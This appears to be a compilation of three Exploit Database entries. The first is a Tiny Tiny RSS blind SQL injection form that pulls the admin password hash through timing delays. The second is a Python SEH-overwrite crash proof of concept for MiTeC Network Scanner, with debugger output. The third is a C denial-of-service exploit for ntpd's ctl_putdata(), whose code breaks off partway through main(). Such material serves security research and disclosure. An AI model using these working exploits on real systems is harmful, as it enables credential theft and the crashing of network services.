Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39465.zip
            
# Exploit Title: Tiny Tiny RSS Blind SQL Injection
# Date: 15-02-2016
# Software Link: http://tt-rss.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
$item_id inside process_category_order() is not properly escaped.

We control this value using $_POST['payload'].

http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html

2. Proof of Concept

Login as regular user.

<form method="post" action="http://tiny-tiny-rss/backend.php">
    <input type="hidden" name="op" value="pref-feeds">
    <input type="hidden" name="method" value="savefeedorder">
    <textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}&lt;/textarea&gt;
    <input type="submit" value="Hack!">
</form>

3. Solution:
   
Update to version a5556c2471973e292dce615fe0c77fdbbc54405b
            
#-*- coding: utf-8 -*-
#
# Exploit Title: Network Scanner Version 4.0.0.0  SEH Crash POC
# POC Dork: N/A
# Date: 2016-02-15
# Author: INSECT.B
#   Twitter : @INSECT.B
#   Facebook : https://www.facebook.com/B.INSECT00
#   Blog : http://binsect00.tistory.com
# Vendor Homepage: http://www.mitec.cz/
# Software Link: http://www.mitec.cz/Downloads/NetScan.zip
# Version: 4.0.0.0
# Tested on: Windows7 Professional SP1 En x86 
# CVE : N/A
 
'''
[+] Type : SEH
[-] Insert the string that compile this file in [TOOLS] Tab 'Detect IP from Host name...' field
[-] string : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÌÌÌÌBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
[-] crash info
(2d0.878): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=772571cd esi=00000000 edi=00000000
eip=42424242 esp=0012edd8 ebp=0012edf8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
42424242 ??              ???

0:000> !exchain
0012edec: ntdll!ExecuteHandler2+3a (772571cd)
0012f534: 42424242
Invalid exception stack at cccccccc

0:000> d 12f534
0012f534  cc cc cc cc 42 42 42 42-43 43 43 43 43 43 43 43  ....BBBBCCCCCCCC
0012f544  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f554  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f564  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f574  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f584  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f594  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f5a4  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0:000> d
0012f5b4  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f5c4  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f5d4  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f5e4  43 43 43 00 95 b4 31 74-84 f6 12 00 00 00 00 00  CCC...1t........
0012f5f4  0a 80 00 00 ea 01 24 00-00 00 00 00 00 00 00 00  ......$.........
0012f604  ab 00 0a e7 34 f6 12 00-e7 c4 06 77 ea 01 24 00  ....4......w..$.
0012f614  15 02 00 00 00 00 00 00-00 00 00 00 15 02 00 00  ................
0012f624  cd ab ba dc 00 00 00 00-84 f6 12 00 15 02 00 00  ................


'''

import struct

junk1 = "A" * 76
nSEH = "\xcc\xcc\xcc\xcc"
SEH = "BBBB"
shell = "C" * 300

payload = junk1 + nSEH + SEH + shell
with open("netEx.txt","wb") as f :
	f.write(payload)
print payload

"""
Exploit problem

1. Input string(value) was replaced '0x3f' in the memory. then shellcode should be encoded to alpha_mixed.
   Buffer size was 171 bytes. but, encoded shellcode size was over 600 bytes.

2. Null byte cannot be inserted into Input field. so we can't use SEH pointer in a range of NetScanner.exe address (0x00400000~0x008c3000)

3. payload was consisted of  'junk - shellcode - nSEH ptr - SEH ptr'. but this step was fail. because junk buffer size was 76 bytes.
   Can't insert shellcode

"""
            
/*
Ntpd <= ntp-4.2.6p5 ctl_putdata() Buffer Overflow
Author: Marcin Kozlowski <marcinguy@yahoo.com>
Based on: ntpq client from ntp package

Provided for legal security research and testing purposes ONLY

PoC

DoS (Denial of Service) PoC. Will crash NTPd.

You will need to know the KEY ID and MD5 password, for example put this in you ntp.conf

--------------
/etc/ntp.conf
--------------

keys /etc/ntp.keys
trustedkey 1
requestkey 1
controlkey 1


and in /etc/ntp.keys

-------------
/etc/ntp.keys
-------------

1 M 1111111




1 is KEY ID 
1111111 is MD5 password

Hostname and Port is hardcoded in the code. Change it if you want :)

gcc ntpd-exp.c -o ntpd-exp

./ntpd-exp
Keyid: 1
MD5 Password: 
Sending 988 octets
Packet data:
 16 08 00 00 00 00 00 00
 00 00 03 b7 73 65 74 76
 ...
 00 00 00 01 28 05 99 c2
 16 ba a7 b7 8d d3 22 00
 0c f7 6a 5f
Sending 36 octets
Packet data:
 16 02 00 00 00 00 00 00
 00 00 00 01 41 00 00 00
 00 00 00 01 7b a5 e6 6e
 e7 a7 f7 cd 65 8f 1d 5f
 51 92 d0 41

KABOOM Ntpd should crash!!!

GDB output:

Program received signal SIGSEGV, Segmentation fault.
read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>)
    at ntp_control.c:2300
2300				for (i = 0; ext_sys_var &&
(gdb) 




If you want to bypass knowing KEY ID and MD5 Password and execute your payload, read more:

http://googleprojectzero.blogspot.com/2015/01/finding-and-exploiting-ntpd.html


*/

#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h> 


typedef unsigned short associd_t; /* association ID */
typedef uint32_t keyid_t;
typedef int SOCKET;

struct sockaddr_in serverAddr;
socklen_t addr_size;	

#define	CTL_MAX_DATA_LEN	1300
#define	MAX_MAC_LEN	(6 * sizeof(uint32_t))	/* SHA */

#define	MODE_CONTROL	6	/* control mode */

#define CTL_OP_CONFIGURE	8

#define	CTL_OP_READVAR		2

#define	CTL_OP_MASK	0x1f

#define NID_md5	4
#define NTP_MAXKEY	65535


/*
 * Stuff for putting things back into li_vn_mode
 */
#define PKT_LI_VN_MODE(li, vn, md) \
        ((u_char)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))

#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))

#define MD5STEP(f,w,x,y,z,in,s) \
         (w += f(x,y,z) + in, w = (w<<s | w>>(32-s)) + x)


struct ntp_control {
        u_char li_vn_mode;              /* leap, version, mode */
        u_char r_m_e_op;                /* response, more, error, opcode */
        u_short sequence;               /* sequence number of request */
        u_short status;                 /* status word for association */
        associd_t associd;              /* association ID */
        u_short offset;                 /* offset of this batch of data */
        u_short count;                  /* count of data in this packet */
        u_char data[(1300 + MAX_MAC_LEN)]; /* data + auth */
};

#define	NTP_OLDVERSION	((u_char)1)
u_char pktversion = NTP_OLDVERSION + 1;

#define	CTL_HEADER_LEN		(offsetof(struct ntp_control, data))

/*
 * COUNTOF(array) - size of array in elements
 */
#define COUNTOF(arr)    (sizeof(arr) / sizeof((arr)[0]))



/*
 * Sequence number used for requests.  It is incremented before
 * it is used.
 */
u_short sequence;

/*
 * Flag which indicates we should always send authenticated requests
 */
int always_auth = 0;

/*
 * Keyid used for authenticated requests.  Obtained on the fly.
 */
u_long info_auth_keyid = 0;

static	int	info_auth_keytype = NID_md5;	/* MD5 */
static	size_t	info_auth_hashlen = 16;		/* MD5 */

int debug = 10;

SOCKET sockfd;					/* fd socket is opened on */

char currenthost[256];			/* current host name */

char *progname = "exp";

struct savekey {
        struct savekey *next;
        union {
                u_char MD5_key[64];     /* for keys up to to 512 bits */
        } k;
        keyid_t keyid;          /* key identifier */
        int     type;           /* key type */
        u_short flags;          /* flags that wave */
        u_long lifetime;        /* remaining lifetime */
        int keylen;             /* key length */
};

/*
 * The key cache. We cache the last key we looked at here.
 */
keyid_t cache_keyid;            /* key identifier */
u_char  *cache_key;             /* key pointer */
u_int   cache_keylen;           /* key length */
int     cache_type;             /* key type */
u_short cache_flags;            /* flags that wave */


#define KEY_TRUSTED     0x001   /* this key is trusted */

#define	MEMINC	12	

#define EVP_MAX_MD_SIZE	64

typedef struct {
        uint32_t buf[4];
        uint32_t bytes[2];
        uint32_t in[16];
} isc_md5_t;

/*
 * ntp_md5.h: deal with md5.h headers
 *
 * Use the system MD5 if available, otherwise libisc's.
 */



typedef isc_md5_t             MD5_CTX;
#define MD5Init(c)             isc_md5_init(c)
#define MD5Update(c, p, s)     isc_md5_update(c, p, s)
#define MD5Final(d, c)         isc_md5_final((c), (d)) /* swapped */

/* ssl_init.c */
#ifdef OPENSSL
extern  void    ssl_init                (void);
extern  void    ssl_check_version       (void);
extern  int     ssl_init_done;
#define INIT_SSL()                              \
        do {                                    \
                if (!ssl_init_done)             \
                        ssl_init();             \
        } while (0)
#else   /* !OPENSSL follows */
#define INIT_SSL()              do {} while (0)
#endif

#if defined HAVE_MD5_H && defined HAVE_MD5INIT
# include <md5.h>
#else
  typedef isc_md5_t             MD5_CTX;
# define MD5Init(c)             isc_md5_init(c)
# define MD5Update(c, p, s)     isc_md5_update(c, p, s)
# define MD5Final(d, c)         isc_md5_final((c), (d)) /* swapped */
#endif





/*
 * Provide OpenSSL-alike MD5 API if we're not using OpenSSL
 */

typedef MD5_CTX                       EVP_MD_CTX;
#define EVP_get_digestbynid(t)         NULL
#define EVP_DigestInit(c, dt)          MD5Init(c)
#define EVP_DigestUpdate(c, p, s)      MD5Update(c, p, s)
#define EVP_DigestFinal(c, d, pdl)     \
        do {                            \
                MD5Final((d), (c));     \
                *(pdl) = 16;            \
        } while (0)

                         
/*
 * The hash table. This is indexed by the low order bits of the
 * keyid. We make this fairly big for potentially busy servers.
 */
#define HASHSIZE        64
#define HASHMASK        ((HASHSIZE)-1)
#define KEYHASH(keyid)  ((keyid) & HASHMASK)


#define min(a,b)        (((a) < (b)) ? (a) : (b))


struct savekey *key_hash[HASHSIZE];

u_long authkeynotfound;         /* keys not found */
u_long authkeylookups;          /* calls to lookup keys */
u_long authnumkeys;             /* number of active keys */
u_long authkeyexpired;          /* key lifetime expirations */
u_long authkeyuncached;         /* cache misses */
u_long authnokey;               /* calls to encrypt with no key */
u_long authencryptions;         /* calls to encrypt */
u_long authdecryptions;         /* calls to decrypt */

struct savekey *authfreekeys;

int authnumfreekeys;
u_long current_time;


/*!
 * The core of the MD5 algorithm, this alters an existing MD5 hash to
 * reflect the addition of 16 longwords of new data.  MD5Update blocks
 * the data and converts bytes into longwords for this routine.
 */

void
transform(uint32_t buf[4], uint32_t const in[16]) {
	register uint32_t a, b, c, d;

	a = buf[0];
	b = buf[1];
	c = buf[2];
	d = buf[3];

	MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
	MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
	MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
	MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
	MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
	MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
	MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
	MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
	MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
	MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
	MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
	MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
	MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
	MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
	MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
	MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);

	MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
	MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
	MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
	MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
	MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
	MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
	MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
	MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
	MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
	MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
	MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
	MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
	MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
	MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
	MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
	MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);

	MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
	MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
	MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
	MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
	MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
	MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
	MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
	MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
	MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
	MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
	MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
	MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
	MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
	MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
	MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
	MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);

	MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
	MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
	MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
	MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
	MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
	MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
	MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
	MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
	MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
	MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
	MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
	MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
	MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
	MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
	MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
	MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);

	buf[0] += a;
	buf[1] += b;
	buf[2] += c;
	buf[3] += d;
}

void
byteSwap(uint32_t *buf, unsigned words)
{
        unsigned char *p = (unsigned char *)buf;

        do {
                *buf++ = (uint32_t)((unsigned)p[3] << 8 | p[2]) << 16 |
                        ((unsigned)p[1] << 8 | p[0]);
                p += 4;
        } while (--words);
}


	
/*!
 * Final wrapup - pad to 64-byte boundary with the bit pattern
 * 1 0* (64-bit count of bits processed, MSB-first)
 */
void
isc_md5_final(isc_md5_t *ctx, unsigned char *digest) {
        int count = ctx->bytes[0] & 0x3f;    /* Number of bytes in ctx->in */
        unsigned char *p = (unsigned char *)ctx->in + count;

        /* Set the first char of padding to 0x80.  There is always room. */
        *p++ = 0x80;

        /* Bytes of padding needed to make 56 bytes (-8..55) */
        count = 56 - 1 - count;

        if (count < 0) {        /* Padding forces an extra block */
                memset(p, 0, count + 8);
                byteSwap(ctx->in, 16);
                transform(ctx->buf, ctx->in);
                p = (unsigned char *)ctx->in;
                count = 56;
        }
        memset(p, 0, count);
        byteSwap(ctx->in, 14);

        /* Append length in bits and transform */
        ctx->in[14] = ctx->bytes[0] << 3;
        ctx->in[15] = ctx->bytes[1] << 3 | ctx->bytes[0] >> 29;
        transform(ctx->buf, ctx->in);

        byteSwap(ctx->buf, 4);
        memcpy(digest, ctx->buf, 16);
        memset(ctx, 0, sizeof(isc_md5_t));      /* In case it's sensitive */
}






/*!
 * Update context to reflect the concatenation of another buffer full
 * of bytes.
 */
void
isc_md5_update(isc_md5_t *ctx, const unsigned char *buf, unsigned int len) {
        uint32_t t;

        /* Update byte count */

        t = ctx->bytes[0];
        if ((ctx->bytes[0] = t + len) < t)
                ctx->bytes[1]++;        /* Carry from low to high */

        t = 64 - (t & 0x3f);    /* Space available in ctx->in (at least 1) */
        if (t > len) {
                memcpy((unsigned char *)ctx->in + 64 - t, buf, len);
                return;
        }
        /* First chunk is an odd size */
        memcpy((unsigned char *)ctx->in + 64 - t, buf, t);
        byteSwap(ctx->in, 16);
        transform(ctx->buf, ctx->in);
        buf += t;
        len -= t;

        /* Process data in 64-byte chunks */
        while (len >= 64) {
                memcpy(ctx->in, buf, 64);
                byteSwap(ctx->in, 16);
                transform(ctx->buf, ctx->in);
                buf += 64;
                len -= 64;
        }

        /* Handle any remaining bytes of data. */
        memcpy(ctx->in, buf, len);
}



/*!
 * Start MD5 accumulation.  Set bit count to 0 and buffer to mysterious
 * initialization constants.
 */
void
isc_md5_init(isc_md5_t *ctx) {
        ctx->buf[0] = 0x67452301;
        ctx->buf[1] = 0xefcdab89;
        ctx->buf[2] = 0x98badcfe;
        ctx->buf[3] = 0x10325476;

        ctx->bytes[0] = 0;
        ctx->bytes[1] = 0;
}


/*
 * MD5authencrypt - generate message digest
 *
 * Returns length of MAC including key ID and digest.
 */
int
MD5authencrypt(
        int     type,           /* hash algorithm */
        u_char  *key,           /* key pointer */
        uint32_t *pkt,           /* packet pointer */
        int     length          /* packet length */
        )
{
        u_char  digest[EVP_MAX_MD_SIZE];
        u_int   len;
        EVP_MD_CTX ctx;

        /*
         * Compute digest of key concatenated with packet. Note: the
         * key type and digest type have been verified when the key
         * was creaded.
         */
        INIT_SSL();
        EVP_DigestInit(&ctx, EVP_get_digestbynid(type));
        EVP_DigestUpdate(&ctx, key, (u_int)cache_keylen);
        EVP_DigestUpdate(&ctx, (u_char *)pkt, (u_int)length);
        EVP_DigestFinal(&ctx, digest, &len);
        memmove((u_char *)pkt + length + 4, digest, len);
        return (len + 4);
}




/*
 * authhavekey - return one and cache the key, if known and trusted.
 */
int
authhavekey(
	keyid_t keyno
	)
{
	struct savekey *sk;

	authkeylookups++;
	if (keyno == 0 || keyno == cache_keyid)
		return (1);

	/*
	 * Seach the bin for the key. If found and the key type
	 * is zero, somebody marked it trusted without specifying
	 * a key or key type. In this case consider the key missing.
	 */
	authkeyuncached++;
	sk = key_hash[KEYHASH(keyno)];
	while (sk != NULL) {
		if (keyno == sk->keyid) {
			if (sk->type == 0) {
				authkeynotfound++;
				return (0);
			}
			break;
		}
		sk = sk->next;
	}

	/*
	 * If the key is not found, or if it is found but not trusted,
	 * the key is not considered found.
	 */
	if (sk == NULL) {
		authkeynotfound++;
		return (0);

	}
	if (!(sk->flags & KEY_TRUSTED)) {
		authnokey++;
		return (0);
	}

	/*
	 * The key is found and trusted. Initialize the key cache.
	 */
	cache_keyid = sk->keyid;
	cache_type = sk->type;
	cache_flags = sk->flags;
	cache_key = sk->k.MD5_key;
	cache_keylen = sk->keylen;
	return (1);
}



/*
 * authencrypt - generate message authenticator
 *
 * Returns length of authenticator field, zero if key not found.
 */
int
authencrypt(
        keyid_t keyno,
        uint32_t *pkt,
        int length
        )
{

        /*
         * A zero key identifier means the sender has not verified
         * the last message was correctly authenticated. The MAC
         * consists of a single word with value zero.
         */
        authencryptions++;
        pkt[length / 4] = htonl(keyno);
        if (keyno == 0) {
                return (4);
        }
        if (!authhavekey(keyno))
                return (0);

        return (MD5authencrypt(cache_type, cache_key, pkt, length));
}


/*
 * authtrust - declare a key to be trusted/untrusted
 */
void
authtrust(
	keyid_t keyno,
	u_long trust
	)
{
	struct savekey *sk;

	/*
	 * Search bin for key; if it does not exist and is untrusted,
	 * forget it.
	 */
	sk = key_hash[KEYHASH(keyno)];
	while (sk != 0) {
		if (keyno == sk->keyid)
		    break;

		sk = sk->next;
	}
	if (sk == 0 && !trust)
		return;

	/*
	 * There are two conditions remaining. Either it does not
	 * exist and is to be trusted or it does exist and is or is
	 * not to be trusted.
	 */	
	if (sk != 0) {
		if (cache_keyid == keyno) {
			cache_flags = 0;
			cache_keyid = 0;
		}

		/*
		 * Key exists. If it is to be trusted, say so and
		 * update its lifetime. If not, return it to the
		 * free list.
		 */
		if (trust > 0) {
			sk->flags |= KEY_TRUSTED;
			if (trust > 1)
				sk->lifetime = current_time + trust;
			else
				sk->lifetime = 0;
			return;
		}
		sk->flags &= ~KEY_TRUSTED; {
			struct savekey *skp;

			skp = key_hash[KEYHASH(keyno)];
			if (skp == sk) {
				key_hash[KEYHASH(keyno)] = sk->next;
			} else {
				while (skp->next != sk)
				    skp = skp->next;
				skp->next = sk->next;
			}
			authnumkeys--;

			sk->next = authfreekeys;
			authfreekeys = sk;
			authnumfreekeys++;
		}
		return;
	}

	/*
	 * Here there is not key, but the key is to be trusted. There
	 * seems to be a disconnect here. Here we allocate a new key,
	 * but do not specify a key type, key or key length.
	 */ 
	if (authnumfreekeys == 0)
	    if (auth_moremem() == 0)
		return;

	sk = authfreekeys;
	authfreekeys = sk->next;
	authnumfreekeys--;
	sk->keyid = keyno;
	sk->type = 0;
	sk->keylen = 0;
	sk->flags = KEY_TRUSTED;
	sk->next = key_hash[KEYHASH(keyno)];
	key_hash[KEYHASH(keyno)] = sk;
	authnumkeys++;
	return;
}




/*
 * auth_moremem - get some more free key structures
 */
int
auth_moremem(void)
{
        struct savekey *sk;
        int i;

        sk = (struct savekey *)calloc(MEMINC, sizeof(struct savekey));
        if (sk == 0)
                return (0);

        for (i = MEMINC; i > 0; i--) {
                sk->next = authfreekeys;
                authfreekeys = sk++;
        }
        authnumfreekeys += MEMINC;
        return (authnumfreekeys);
}


void
MD5auth_setkey(
	keyid_t keyno,
	int	keytype,
	const u_char *key,
	const int len
	)
{
	struct savekey *sk;
	
	/*
	 * See if we already have the key.  If so just stick in the
	 * new value.
	 */
	sk = key_hash[KEYHASH(keyno)];
	while (sk != NULL) {
		if (keyno == sk->keyid) {
			sk->type = keytype;
			sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
			memcpy(sk->k.MD5_key, key, sk->keylen);
#else
			strncpy((char *)sk->k.MD5_key, (const char *)key,
			    sizeof(sk->k.MD5_key));
#endif
			if (cache_keyid == keyno) {
				cache_flags = 0;
				cache_keyid = 0;
			}
			return;
		}
		sk = sk->next;
	}

	/*
	 * Need to allocate new structure.  Do it.
	 */
	if (0 == authnumfreekeys && !auth_moremem())
		return;

	sk = authfreekeys;
	authfreekeys = sk->next;
	authnumfreekeys--;

	sk->keyid = keyno;
	sk->type = keytype;
	sk->flags = 0;
	sk->lifetime = 0;
	sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
	memcpy(sk->k.MD5_key, key, sk->keylen);
#else
	strncpy((char *)sk->k.MD5_key, (const char *)key,
	    sizeof(sk->k.MD5_key));
#endif
	sk->next = key_hash[KEYHASH(keyno)];
	key_hash[KEYHASH(keyno)] = sk;
#ifdef DEBUG
	if (debug > 1) {
		char	hex[] = "0123456789abcdef";
		int	j;

		printf("auth_setkey: key %d type %d len %d ", sk->keyid,
		    sk->type, sk->keylen);
		for (j = 0; j < sk->keylen; j++)
				printf("%c%c", hex[key[j] >> 4],
				    hex[key[j] & 0xf]);
		printf("\n");
	}	
#endif
	authnumkeys++;
}


/*
 * Types of ascii representations for keys.  "Standard" means a 64 bit
 * hex number in NBS format, i.e. with the low order bit of each byte
 * a parity bit.  "NTP" means a 64 bit key in NTP format, with the
 * high order bit of each byte a parity bit.  "Ascii" means a 1-to-8
 * character string whose ascii representation is used as the key.
 */
int
authusekey(
        keyid_t keyno,
        int keytype,
        const u_char *str
        )
{
        const u_char *cp;
        int len;

        cp = str;
        len = strlen((const char *)cp);
        if (len == 0)
                return 0;

        MD5auth_setkey(keyno, keytype, str, (int)strlen((const char *)str));
        return 1;
}


/*
 * keytype_name         returns OpenSSL short name for digest by NID.
 *
 * Used by ntpq and ntpdc keytype()
 */
const char *
keytype_name(
        int nid
        )
{
        static const char unknown_type[] = "(unknown key type)";
        const char *name;

#ifdef OPENSSL
        INIT_SSL();
        name = OBJ_nid2sn(nid);
        if (NULL == name)
                name = unknown_type;
#else   /* !OPENSSL follows */
        if (NID_md5 == nid)
                name = "MD5";
        else
                name = unknown_type;
#endif
        return name;
}


/*
 * getpass_keytype() -- shared between ntpq and ntpdc, only vaguely
 *                      related to the rest of ssl_init.c.
 */
char *
getpass_keytype(
        int     keytype
        )
{
        char    pass_prompt[64 + 11 + 1]; /* 11 for " Password: " */

        snprintf(pass_prompt, sizeof(pass_prompt),
                 "%.64s Password: ", keytype_name(keytype));

        return getpass(pass_prompt);
}


int
authistrusted(
        keyid_t keyno
        )
{
        struct savekey *sk;

        if (keyno == cache_keyid)
            return ((cache_flags & KEY_TRUSTED) != 0);

        authkeyuncached++;
        sk = key_hash[KEYHASH(keyno)];
        while (sk != 0) {
                if (keyno == sk->keyid)
                    break;
                sk = sk->next;
        }
        if (sk == 0) {
                authkeynotfound++;
                return (0);

        } else if (!(sk->flags & KEY_TRUSTED)) {
                authkeynotfound++;
                return (0);
        }
        return (1);
}



u_long
getkeyid(
	const char *keyprompt
	)
{
	int c;
	FILE *fi;
	char pbuf[20];
	size_t i;
	size_t ilim;

#ifndef SYS_WINNT
	if ((fi = fdopen(open("/dev/tty", 2), "r")) == NULL)
#else
	if ((fi = _fdopen(open("CONIN$", _O_TEXT), "r")) == NULL)
#endif /* SYS_WINNT */
		fi = stdin;
	else
		setbuf(fi, (char *)NULL);
	fprintf(stderr, "%s", keyprompt); fflush(stderr);
	for (i = 0, ilim = COUNTOF(pbuf) - 1;
	     i < ilim && (c = getc(fi)) != '\n' && c != EOF;
	     )
		pbuf[i++] = (char)c;
	pbuf[i] = '\0';
	if (fi != stdin)
		fclose(fi);

	return (u_long) atoi(pbuf);
}


void
warning(
	const char *fmt,
	const char *st1,
	const char *st2
	)
{
	(void) fprintf(stderr, "%s: ", progname);
	(void) fprintf(stderr, fmt, st1, st2);
	(void) fprintf(stderr, ": ");
	perror("");
}


int
sendpkt(
	void *	xdata,
	size_t	xdatalen
	)
{
	if (debug >= 3)
		printf("Sending %lu octets\n", (u_long)xdatalen);
        
        sendto(sockfd,xdata,(size_t)xdatalen, 0,(struct sockaddr *)&serverAddr,addr_size);


	if (debug >= 4) {
		int first = 8;
		char *cdata = xdata;

		printf("Packet data:\n");
		while (xdatalen-- > 0) {
			if (first-- == 0) {
				printf("\n");
				first = 7;
			}
			printf(" %02x", *cdata++ & 0xff);
		}
		printf("\n");
	}
	return 0;
}


void error(char *msg)
{
    perror(msg);
    exit(0);
}


int main(int argc, char *argv[])
{

  char *cfgcmd;
  u_short rstatus;
  int rsize;
  const char *rdata;
  char *resp;
  int res;
  int col;
  int i;
     
  int portNum, nBytes;
  char buffer[1024];


  /*Create UDP socket*/
  sockfd = socket(PF_INET, SOCK_DGRAM, 0);

  /*Configure settings in address struct*/
  serverAddr.sin_family = AF_INET;
  serverAddr.sin_port = htons(123);
  serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
